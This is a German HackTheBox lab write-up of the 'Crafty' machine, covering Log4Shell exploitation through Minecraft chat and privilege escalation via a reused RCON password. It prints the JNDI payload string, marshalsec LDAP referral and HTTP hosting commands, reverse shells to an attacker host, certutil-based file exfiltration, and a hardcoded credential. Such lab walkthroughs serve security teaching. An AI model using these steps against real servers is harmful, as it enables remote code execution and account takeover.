// HackTheBox
Crafty
Log4Shell (CVE-2021-44228) über Minecraft-Chat → RCON-Passwort als lokales Administrator-Passwort wiederverwendet
Aufklärung
Ein nmap -sV -sC-Scan der Top-1000-Ports zeigte nur 80/tcp. Wenn ein
Standard-Scan auf einer um einen Spielserver herum gestalteten Box nur einen einzigen
Web-Port findet, ist das ein Hinweis, breiter zu suchen, also folgt ein vollständiger
Port-Sweep (-p-) — und er fördert den eigentlichen zweiten Dienst zutage, 25565/tcp:
| Port | Dienst |
|---|---|
| 80 | HTTP (IIS 10.0, “Crafty - Official Website”, Fan-Seite eines Minecraft-Servers) |
| 25565 | Minecraft |
25565 ist der Standard-Port von Minecraft. Ein selbst geschriebener Server-List-Ping
(exploit/mc_ping.rb, eine Raw-Socket-Implementierung des Minecraft-Status-Handshakes)
bittet den Server, sich zu identifizieren, und erhält Version 1.16.5 / Protokoll 754
zurück. Diese Version liegt genau im Bereich, der ein verwundbares log4j auslieferte,
also ist dies ein Log4Shell-Kandidat (CVE-2021-44228) — der Faden, an dem man zieht.
Log4Shell ist eine Schwachstelle in der log4j-Logging-Bibliothek, bei der jeder
angreiferkontrollierte String, der geloggt wird, ein ${jndi:ldap://...}-Lookup
enthalten kann, das den Server veranlasst, über JNDI/LDAP nach außen zu greifen und eine
entfernte Java-Klasse zu laden. Ein Minecraft-Server loggt den Spieler-Chat, also ist
der Chat ein Übermittlungspfad direkt in den Logger.
Erstzugang — Log4Shell (CVE-2021-44228) über Minecraft-Chat
Die Exploit-Kette lautet: den Server dazu bringen, unseren ${jndi:...}-String zu
loggen → er fragt unseren LDAP-Server ab → unser LDAP-Server verweist ihn an unseren
HTTP-Server → er lädt unsere bösartige Java-Klasse herunter und führt sie aus. Keines
der benötigten Werkzeuge (java, marshalsec, mcstatus) ist vorinstalliert, also muss
alles zunächst zusammengestellt werden. Der Container hat Internet-Egress, was das
schnell macht.
1. Die Werkzeuge bauen
Ein JDK und Maven installieren, dann marshalsec klonen und bauen — ein Toolkit, das einen LDAP-Referral-Server enthält, die Komponente, die das JNDI-Lookup des Opfers an unseren HTTP-Server umleitet. marshalsec benötigt nur ein modernes JDK zum Ausführen; seine JDK-Version ist unabhängig von der des Ziels:
$ apt-get install openjdk-17-jdk-headless maven
$ git clone https://github.com/mbechler/marshalsec
$ mvn clean package -DskipTests
Das erzeugt marshalsec-0.0.3-SNAPSHOT-all.jar.
2. Die Payload-Klasse kompilieren
Exploit.java ist die Klasse, die das Ziel abrufen und ausführen wird — eine
Reverse-Shell-Payload, die cmd.exe oder /bin/sh je nach dem OS wählt, auf dem sie
landet. Sie wird auf Java-8-Bytecode kompiliert, damit sie auf der vermutlich alten,
mit dem Minecraft-Server gebündelten JRE lädt (eine neuere Class-Datei-Version würde von
einer älteren JVM abgelehnt):
$ javac --release 8 Exploit.java
3. Die Klasse über HTTP bereitstellen
Ein einfacher HTTP-Server läuft in dem Verzeichnis, das Exploit.class enthält, sodass
das Ziel sie herunterladen kann, sobald das LDAP-Referral dorthin zeigt:
$ ruby -run -e httpd . -p 8000
4. Den LDAP-Referral-Server starten
marshalsecs LDAPRefServer lauscht auf 1389 und beantwortet JNDI-Lookups mit einem
Verweis auf unsere per HTTP gehostete Klasse. Das #Exploit-Fragment benennt die zu
ladende Klasse:
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<LHOST>:8000/#Exploit"
5. Den JNDI-String über den Minecraft-Chat übermitteln
Da kein Minecraft-Client und kein mcstatus verfügbar sind, wird ein minimaler
Minecraft-Protokoll-Client selbst geschrieben (exploit/mc_log4shell.rb), der
Handshake, Login und Chat durchführt. Minecraft-Benutzernamen sind auf 16 Zeichen
begrenzt — zu kurz, um einen JNDI-String aufzunehmen — also loggt der Client sich mit
einem gewöhnlichen kurzen Benutzernamen ein und sendet die Payload stattdessen als
Chat-Nachricht:
${jndi:ldap://<LHOST>:1389/a}
Zwei Protokolldetails müssen behandelt werden, damit der Chat ankommt: das
Set Compression-Paket des Servers (sobald die Komprimierung aktiviert ist, wird ein
Data-Length-varint vor der Paket-ID eingefügt, was das Framing ändert) und der
anfängliche Schwall von Play-State-Setup-Paketen, der abgearbeitet werden muss, bevor
der Chat gesendet wird — sonst geraten Framing und Timing durcheinander.
6. Die Shell auslösen und abfangen
Das log4j des Servers loggt die Chat-Zeile, führt das JNDI-Lookup gegen unseren
LDAP-Server durch, wird an unseren HTTP-Server verwiesen, holt Exploit.class und führt
es aus. Die Reverse-Shell landet als crafty\svc_minecraft.
Rechteausweitung — RCON-Passwort als lokales Administrator-Passwort wiederverwendet
Das Durchsuchen der Dateien von svc_minecraft fördert ein benutzerdefiniertes
Server-Plugin zutage unter
C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar. Es gibt keinen
Datei-Upload-Kanal, aber einer wird nicht benötigt: certutil -encode kodiert das JAR
auf dem Ziel base64, und type gibt diese Kodierung über die Reverse-Shell aus, um sie
abzugreifen und lokal zu dekodieren:
$ certutil -encode playercounter-1.0-SNAPSHOT.jar playercounter.b64
$ type playercounter.b64
Das lokale Dekompilieren des JAR mit javap -c -p offenbart, dass die onEnable()-
Methode des Plugins eine RCON-Verbindung fest einkodiert (RCON ist das
Remote-Konsolen-Protokoll von Minecraft):
new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes())
Der interessante Teil ist gar nicht RCON — derselbe String, s67u84zKq8IXw, ist auch
das lokale Administrator-Passwort (Credential-Wiederverwendung). Um ihn zu nutzen,
wird RunasCs.exe (aus dem Release antonioCoco/RunasCs) per Invoke-WebRequest von
unserem HTTP-Server auf das Ziel geholt. RunasCs führt einen Befehl als ein anderer
Benutzer aus, sofern dessen Zugangsdaten vorliegen; hier startet es eine Reverse-Shell
als Administrator:
$ RunasCs.exe Administrator s67u84zKq8IXw cmd.exe -r <LHOST>:9002
Das liefert direkt eine Reverse-Shell als crafty\administrator. Keine
SeImpersonate-artige Potato-Technik war nötig — whoami /all als svc_minecraft zeigte
keine nützlichen Privilegien, daher war dieser Credential-Wiederverwendungs-Pfad die
einzige Route.
Erkenntnisse
- In dieser Umgebung war kein
mcstatus/Minecraft-Client/marshalsec-Werkzeug für Spielprotokoll- oder JNDI-Arbeit vorinstalliert — alles davon (JDK, maven, marshalsec- Build, ein von Grund auf gebauter Minecraft-Protokoll-Client) musste ad hoc zusammengestellt werden.apt-get install openjdk-17-jdk-headless mavenund der Bau von marshalsec aus dem Quellcode funktionierten problemlos und dauerten unter einer Minute; nicht annehmen, ein fehlendes Werkzeug blockiere die Box, das minimal nötige Stück zu bauen ist oft schnell erledigt. - Minecraft-Benutzernamen sind auf 16 Zeichen begrenzt — zu kurz für die meisten JNDI-Payload- Strings. Chat-Nachrichten (256 Zeichen Limit) sind speziell bei diesem Spielprotokoll das zuverlässigere Log4Shell-Übermittlungsfeld.
- Der LDAP-Referral-Server (marshalsec) muss nur unter einem modernen JDK laufen; die
auf
--release 8gezielte Bytecode-Anforderung gilt nur für die tatsächlich vom (alten) JVM des Ziels geladene Payload-.class. - Fest einkodierte Dienst-Credentials (ein in ein Plugin-JAR eingebackenes RCON-Passwort) sind ein wiederkehrender Privesc-/Lateral-Move-Vektor bei Minecraft-Server-thematisierten Boxen — immer jedes gefundene benutzerdefinierte Plugin-JAR dekompilieren, nicht nur dessen Strings lesen.